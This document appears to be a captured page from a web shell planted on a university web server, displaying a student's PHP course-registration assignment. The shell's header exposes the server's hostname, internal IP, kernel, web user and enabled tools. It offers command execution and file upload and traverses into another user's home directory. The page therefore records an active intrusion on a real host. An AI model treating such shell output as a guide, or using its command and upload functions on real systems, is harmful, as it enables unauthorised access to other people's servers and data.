Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.117.158.10
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/kabaines/../jahight/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/kabaines/../jahight/www/Assignment3_2C.php
<!-- Assignment3_2C.php -->
<?php session_start(); ?>

<FONT size=5 color=blue>
<H2>
Student Course Registration
<HR>
</H2>
<?php
	$name = $_SESSION['name'];
	$gender = $_SESSION['gender'];
	$grade = $_SESSION['grade'];
	$CS = $_POST['CSCourses'];
	$Math = $_POST['MathCourses'];

	$CSCourses = array("CS112", "CS212", "CS310", "CS311", "CS380", "CS440", "CS480");
	$MathCourses = array("Math135", "Math136", "Math171", "Math172", "Math271");

	print "Student's Name: $name.<br> Gender: $gender.<br> Grade Level: $grade.<br><br>";

	if(count($CS) == 0 && count($Math) == 0)
		print "You have chosen none of the Computer Science or Math classes!";

	else if(count($CS) == 0)
	{
		print "You have chosen none of the Computer Science courses and you chose the following Math courses!";
		print "<ul>";
		foreach ($Math as $i)
			print "<li>$MathCourses[$i]</li>";
		print "</ul>";
	}

	else if(count($Math) == 0)
	{
		print "You have chosen none of the Math courses and you chose the following Computer Science courses!";
		print "<ul>";
		foreach ($CS as $j)
			print "<li>$CSCourses[$j]</li>";
		print "</ul>";
		}

	else
	{
		print "You have chosen the following Computer Science courses!";
		print "<ul>";
		foreach ($CS as $k)
			print "<li>$CSCourses[$k]</li>";
		print "</ul>";
		print "<br>You have chosen the following Math courses!";
		print "<ul>";
		foreach ($Math as $l)
			print "<li>$MathCourses[$l]</li>";
		print "</ul>";
	}
?>
</FONT>


Stv3n404 - 2023